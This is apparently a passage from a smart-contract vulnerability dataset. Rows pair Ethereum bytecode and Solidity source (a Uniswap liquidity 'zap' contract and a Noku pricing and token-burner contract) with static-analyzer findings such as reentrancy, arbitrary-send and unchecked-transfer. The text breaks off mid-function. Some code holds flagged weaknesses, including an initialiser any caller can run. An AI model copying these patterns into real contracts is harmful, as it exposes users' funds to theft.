838361156a565b9050611506565b8373ffffffffffffffffffffffffffffffffffffffff16838360405180828051906020019080838360005b838110156114b95781810151838201526020016114a1565b50505050905090810190601f1680156114e65780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561150657600080fd5b9392505050565b60008060045461151b611583565b111561153257600060035561152e611583565b6004555b600354611545908463ffffffff61158d16565b600254909150811161155f57600381905560019150611564565b600091505b50919050565b600081516020830184f09050803b1515610eea57600080fd5b6201518042045b90565b80820182811015610eea57600080fd5b50805460018160011615610100020316600290046000825580601f106115c3575061074c565b601f01602090049060005260206000209081019061074c9190611679565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061162257805160ff191683800117855561164f565b8280016001018555821561164f579182015b8281111561164f578251825591602001919060010190611634565b5061165b929150611679565b5090565b508054600082559060005260206000209081019061074c91905b61158a91905b8082111561165b576000815560010161167f565b60006115068235611a8c565b6000611506823561158a565b6000601f820183136116bc57600080fd5b81356116cf6116ca82611a36565b611a0f565b915080825260208301602083018583830111156116eb57600080fd5b6116f6838284611aaa565b50505092915050565b60006020828403121561171157600080fd5b600061171d8484611693565b949350505050565b6000806040838503121561173857600080fd5b60006117448585611693565b925050602061175585828601611693565b9150509250929050565b60008060006060848603121561177457600080fd5b60006117808686611693565b93505060206117918682870161169f565b925050604084013567ffffffffffffffff8111156117ae57600080fd5b6117ba868287016116ab565b9150509250925092565b6000602082840312156117d657600080fd5b600061171d848461169f565b600080604083850312156117f557600080fd5b6000611744858561169f565b61180a81611a8c565b82525050565b61180a81611aa5565b61180a8161158a565b600061182d82611a88565b808452611841816020860160208601611ab6565b61184a81611ae2565b9093016020019392505050565b60008154600181166000811461187457600181146118b0576118ec565b60028204607f1685527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00821660208601526040850192506118ec565b600282048086526020860195506118c685611a7c565b60005b828110156118e5578154888201526001909101906020016118c9565b8701945050505b505092915050565b805160009060608401906119088582611801565b50602083015161191b6020860182611819565b50604083015184820360408601526119338282611822565b95945050505050565b60208101610eea8284611801565b60208101610eea8284611810565b60208101610eea8284611819565b6080808252810161197781876118f4565b90506119866020830186611819565b6119936040830185611819565b6119336060830184611819565b604081016119ae8285611819565b818103602083015261171d8184611822565b606081016119ce8286611819565b81810360208301526119e08185611822565b905061171d6040830184611801565b606081016119fd8286611819565b81810360208301526119e08185611857565b60405181810167ffffffffffffffff81118282101715611a2e57600080fd5b604052919050565b600067ffffffffffffffff821115611a4d57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60009081526020902090565b5190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b82818337506000910152565b60005b83811015611ad1578181015183820152602001611ab9565b83811115610dbd5750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016905600a265627a7a72305820039665e053fb80c3944df976dfc5becbf988ebba8e1c2734776f8f3032944a036c6578706572696d656e74616cf50037
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "public-mappings-nested", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,270 |
0x2cbe8406380e784ea1a24aeedfbf79788e2721ac
|
pragma solidity ^0.6.12;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract UniswapZAP {
using SafeMath for uint256;
address public _token;
address public _tokenWETHPair;
IWETH public _WETH;
bool private initialized;
function initUniswapZAP(address token, address WETH, address tokenWethPair) public {
require(!initialized);
_token = token;
_WETH = IWETH(WETH);
_tokenWETHPair = tokenWethPair;
initialized = true;
}
fallback() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
receive() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
function addLiquidityETHOnly(address payable to) public payable {
require(to != address(0), "Invalid address");
uint256 buyAmount = msg.value.div(2);
require(buyAmount > 0, "Insufficient ETH amount");
_WETH.deposit{value : msg.value}();
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens);
_WETH.transfer(_tokenWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token);
IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), "");
_addLiquidity(outTokens, buyAmount, to);
}
function _addLiquidity(uint256 tokenAmount, uint256 wethAmount, address payable to) internal {
(uint256 wethReserve, uint256 tokenReserve) = getPairReserves();
uint256 optimalTokenAmount = UniswapV2Library.quote(wethAmount, wethReserve, tokenReserve);
uint256 optimalWETHAmount;
if (optimalTokenAmount > tokenAmount) {
optimalWETHAmount = UniswapV2Library.quote(tokenAmount, tokenReserve, wethReserve);
optimalTokenAmount = tokenAmount;
}
else
optimalWETHAmount = wethAmount;
assert(_WETH.transfer(_tokenWETHPair, optimalWETHAmount));
assert(IERC20(_token).transfer(_tokenWETHPair, optimalTokenAmount));
IUniswapV2Pair(_tokenWETHPair).mint(to);
//refund dust
if (tokenAmount > optimalTokenAmount)
IERC20(_token).transfer(to, tokenAmount.sub(optimalTokenAmount));
if (wethAmount > optimalWETHAmount) {
uint256 withdrawAmount = wethAmount.sub(optimalWETHAmount);
_WETH.withdraw(withdrawAmount);
to.transfer(withdrawAmount);
}
}
function getLPTokenPerEthUnit(uint ethAmt) public view returns (uint liquidity){
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(ethAmt.div(2), reserveWeth, reserveTokens);
uint _totalSupply = IUniswapV2Pair(_tokenWETHPair).totalSupply();
(address token0, ) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 amount0, uint256 amount1) = token0 == _token ? (outTokens, ethAmt.div(2)) : (ethAmt.div(2), outTokens);
(uint256 _reserve0, uint256 _reserve1) = token0 == _token ? (reserveTokens, reserveWeth) : (reserveWeth, reserveTokens);
liquidity = SafeMath.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) {
(address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves();
(wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1);
}
}
|
0x6080604052600436106100595760003560e01c806314b0818a146100965780637d03abbf146100c7578063c26974201461010c578063d6b89a0314610132578063e0af36161461016e578063ecd0c0c3146101835761007b565b3661007b576002546001600160a01b031633146100795761007933610198565b005b6002546001600160a01b031633146100795761007933610198565b3480156100a257600080fd5b506100ab610449565b604080516001600160a01b039092168252519081900360200190f35b3480156100d357600080fd5b50610079600480360360608110156100ea57600080fd5b506001600160a01b038135811691602081013582169160409091013516610458565b6100796004803603602081101561012257600080fd5b50356001600160a01b0316610198565b34801561013e57600080fd5b5061015c6004803603602081101561015557600080fd5b50356104bb565b60408051918252519081900360200190f35b34801561017a57600080fd5b506100ab610628565b34801561018f57600080fd5b506100ab610637565b6001600160a01b0381166101e5576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b60006101f2346002610646565b905060008111610249576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561029957600080fd5b505af11580156102ad573d6000803e3d6000fd5b50505050506000806102bd610691565b9150915060006102ce84848461077e565b6002546001546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032957600080fd5b505af115801561033d573d6000803e3d6000fd5b505050506040513d602081101561035357600080fd5b50506002546000805490918291610376916001600160a01b039081169116610856565b6001546000549294509092506001600160a01b039081169163022c0d9f918086169116146103a55760006103a7565b845b6000546001600160a01b038581169116146103c35760006103c5565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561041d57600080fd5b505af1158015610431573d6000803e3d6000fd5b50505050610440838789610934565b50505050505050565b6001546001600160a01b031681565b600254600160a01b900460ff161561046f57600080fd5b600080546001600160a01b039485166001600160a01b03199182161790915560028054600180549487169484169490941790935560ff60a01b199390941691161716600160a01b179055565b60008060006104c8610691565b909250905060006104e46104dd866002610646565b848461077e565b90506000600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561053657600080fd5b505afa15801561054a573d6000803e3d6000fd5b505050506040513d602081101561056057600080fd5b50516002546000805492935091610583916001600160a01b039081169116610856565b50600080549192509081906001600160a01b038085169116146105b1576105ab896002610646565b856105bd565b846105bd8a6002610646565b600080549294509092509081906001600160a01b038681169116146105e35788886105e6565b87895b9092509050610619826105f98689610c5c565b8161060057fe5b048261060c868a610c5c565b8161061357fe5b04610cb5565b9b9a5050505050505050505050565b6002546001600160a01b031681565b6000546001600160a01b031681565b600061068883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ccb565b90505b92915050565b600254600080549091829182916106b4916001600160a01b039182169116610856565b509050600080600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d606081101561073257600080fd5b5080516020909101516000546dffffffffffffffffffffffffffff9283169450911691506001600160a01b0384811691161461076f578181610772565b80825b90969095509350505050565b60008084116107be5760405162461bcd60e51b815260040180806020018281038252602b815260200180610f98602b913960400191505060405180910390fd5b6000831180156107ce5750600082115b6108095760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b6000610817856103e5610c5c565b905060006108258285610c5c565b9050600061083f83610839886103e8610c5c565b90610d6d565b905080828161084a57fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b031614156108aa5760405162461bcd60e51b8152600401808060200182810382526025815260200180610f056025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b0316106108ca5782846108cd565b83835b90925090506001600160a01b03821661092d576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b60008061093f610691565b915091506000610950858484610dc7565b905060008682111561097157610967878486610dc7565b9050869150610974565b50845b6002546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b1580156109cd57600080fd5b505af11580156109e1573d6000803e3d6000fd5b505050506040513d60208110156109f757600080fd5b50516109ff57fe5b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610a5b57600080fd5b505af1158015610a6f573d6000803e3d6000fd5b505050506040513d6020811015610a8557600080fd5b5051610a8d57fe5b600154604080516335313c2160e11b81526001600160a01b03888116600483015291519190921691636a6278429160248083019260209291908290030181600087803b158015610adc57600080fd5b505af1158015610af0573d6000803e3d6000fd5b505050506040513d6020811015610b0657600080fd5b505081871115610b9f576000546001600160a01b031663a9059cbb86610b2c8a86610e6d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610b7257600080fd5b505af1158015610b86573d6000803e3d6000fd5b505050506040513d6020811015610b9c57600080fd5b50505b80861115610440576000610bb38783610e6d565b60025460408051632e1a7d4d60e01b81526004810184905290519293506001600160a01b0390911691632e1a7d4d9160248082019260009290919082900301818387803b158015610c0357600080fd5b505af1158015610c17573d6000803e3d6000fd5b50506040516001600160a01b038916925083156108fc02915083906000818181858888f19350505050158015610c51573d6000803e3d6000fd5b505050505050505050565b600082610c6b5750600061068b565b82820282848281610c7857fe5b04146106885760405162461bcd60e51b8152600401808060200182810382526021815260200180610f526021913960400191505060405180910390fd5b6000818310610cc45781610688565b5090919050565b60008183610d575760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d1c578181015183820152602001610d04565b50505050905090810190601f168015610d495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d6357fe5b0495945050505050565b600082820183811015610688576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000808411610e075760405162461bcd60e51b8152600401808060200182810382526025815260200180610f736025913960400191505060405180910390fd5b600083118015610e175750600082115b610e525760405162461bcd60e51b8152600401808060200182810382526028815260200180610f2a6028913960400191505060405180910390fd5b82610e5d8584610c5c565b81610e6457fe5b04949350505050565b600061068883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610efc5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d1c578181015183820152602001610d04565b50505090039056fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a264697066735822122002c3c345b17a7840cf22798622a165504d26ff5fcf389ba5e2b40d03a2c311d064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,271 |
0xe0670e32c120813a54860442155659cfa029d343
|
pragma solidity 0.4.19;
// File: contracts/NokuPricingPlan.sol
/**
* @dev The NokuPricingPlan contract defines the responsibilities of a Noku pricing plan.
*/
interface NokuPricingPlan {
/**
* @dev Pay the fee for the service identified by the specified name.
* The fee amount shall already be approved by the client.
* @param serviceName The name of the target service.
* @param multiplier The multiplier of the base service fee to apply.
* @param client The client of the target service.
* @return true if fee has been paid.
*/
function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid);
/**
* @dev Get the usage fee for the service identified by the specified name.
* The returned fee amount shall be approved before using #payFee method.
* @param serviceName The name of the target service.
* @param multiplier The multiplier of the base service fee to apply.
* @return The amount to approve before really paying such fee.
*/
function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee);
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/NokuTokenBurner.sol
contract BurnableERC20 is ERC20 {
function burn(uint256 amount) public returns (bool burned);
}
/**
* @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received
* ERC20-compliant tokens and distribute the remainder to the configured wallet.
*/
contract NokuTokenBurner is Pausable {
using SafeMath for uint256;
event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet);
event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage);
// The wallet receiving the unburnt tokens.
address public wallet;
// The percentage of tokens to burn after being received (range [0, 100])
uint256 public burningPercentage;
// The cumulative amount of burnt tokens.
uint256 public burnedTokens;
// The cumulative amount of tokens transferred back to the wallet.
uint256 public transferredTokens;
/**
* @dev Create a new NokuTokenBurner with predefined burning fraction.
* @param _wallet The wallet receiving the unburnt tokens.
*/
function NokuTokenBurner(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
burningPercentage = 100;
LogNokuTokenBurnerCreated(msg.sender, _wallet);
}
/**
* @dev Change the percentage of tokens to burn after being received.
* @param _burningPercentage The percentage of tokens to be burnt.
*/
function setBurningPercentage(uint256 _burningPercentage) public onlyOwner {
require(0 <= _burningPercentage && _burningPercentage <= 100);
require(_burningPercentage != burningPercentage);
burningPercentage = _burningPercentage;
LogBurningPercentageChanged(msg.sender, _burningPercentage);
}
/**
* @dev Called after burnable tokens has been transferred for burning.
* @param _token THe extended ERC20 interface supported by the sent tokens.
* @param _amount The amount of burnable tokens just arrived ready for burning.
*/
function tokenReceived(address _token, uint256 _amount) public whenNotPaused {
require(_token != address(0));
require(_amount > 0);
uint256 amountToBurn = _amount.mul(burningPercentage).div(100);
if (amountToBurn > 0) {
assert(BurnableERC20(_token).burn(amountToBurn));
burnedTokens = burnedTokens.add(amountToBurn);
}
uint256 amountToTransfer = _amount.sub(amountToBurn);
if (amountToTransfer > 0) {
assert(BurnableERC20(_token).transfer(wallet, amountToTransfer));
transferredTokens = transferredTokens.add(amountToTransfer);
}
}
}
// File: contracts/NokuConsumptionPlan.sol
/**
* @dev The NokuConsumptionPlan contract implements a flexible pricing plan, manageable by the contract owner, which can be:
* - extended by inserting a new service with its associated fee
* - modified by updating an existing service fee
* - reduced by removing an existing service with its associated fee
* - queried to obtain the count of services
* The service [name, fee] association is maintained using an index in order to make the data traversable.
*/
contract NokuConsumptionPlan is NokuPricingPlan, Ownable {
using SafeMath for uint256;
event LogNokuConsumptionPlanCreated(address indexed caller, address indexed nokuMasterToken, address indexed tokenBurner);
event LogServiceAdded(bytes32 indexed serviceName, uint indexed index, uint indexed serviceFee);
event LogServiceChanged(bytes32 indexed serviceName, uint indexed index, uint indexed serviceFee);
event LogServiceRemoved(bytes32 indexed serviceName, uint indexed index);
struct NokuService {
uint serviceFee;
uint index;
}
bytes32[] private serviceIndex;
mapping(bytes32 => NokuService) private services;
// The NOKU utility token used for paying fee
address public nokuMasterToken;
// The contract responsible for burning the NOKU tokens paid as service fee
address public tokenBurner;
function NokuConsumptionPlan(address _nokuMasterToken, address _tokenBurner) public {
require(_nokuMasterToken != 0);
require(_tokenBurner != 0);
nokuMasterToken = _nokuMasterToken;
tokenBurner = _tokenBurner;
LogNokuConsumptionPlanCreated(msg.sender, _nokuMasterToken, _tokenBurner);
}
function isService(bytes32 _serviceName) public constant returns(bool isIndeed) {
require(_serviceName != 0);
if (serviceIndex.length == 0)
return false;
else
return (serviceIndex[services[_serviceName].index] == _serviceName);
}
function addService(bytes32 _serviceName, uint _serviceFee) public onlyOwner returns(uint index) {
require(!isService(_serviceName));
services[_serviceName].serviceFee = _serviceFee;
services[_serviceName].index = serviceIndex.push(_serviceName)-1;
LogServiceAdded(_serviceName, serviceIndex.length-1, _serviceFee);
return serviceIndex.length-1;
}
function removeService(bytes32 _serviceName) public onlyOwner returns(uint index) {
require(isService(_serviceName));
uint rowToDelete = services[_serviceName].index;
bytes32 keyToMove = serviceIndex[serviceIndex.length-1];
serviceIndex[rowToDelete] = keyToMove;
services[keyToMove].index = rowToDelete;
serviceIndex.length--;
LogServiceRemoved(_serviceName, rowToDelete);
LogServiceChanged(keyToMove, rowToDelete, services[keyToMove].serviceFee);
return rowToDelete;
}
function updateServiceFee(bytes32 _serviceName, uint _serviceFee) public onlyOwner returns(bool success) {
require(isService(_serviceName));
services[_serviceName].serviceFee = _serviceFee;
LogServiceChanged(_serviceName, services[_serviceName].index, _serviceFee);
return true;
}
function payFee(bytes32 _serviceName, uint256 _amount, address _client) public returns(bool paid) {
//require(isService(_serviceName)); // Already checked by #usageFee
//require(_amount != 0); // Already checked by #usageFee
require(_client != 0);
uint256 fee = usageFee(_serviceName, _amount);
assert(ERC20(nokuMasterToken).transferFrom(_client, tokenBurner, fee));
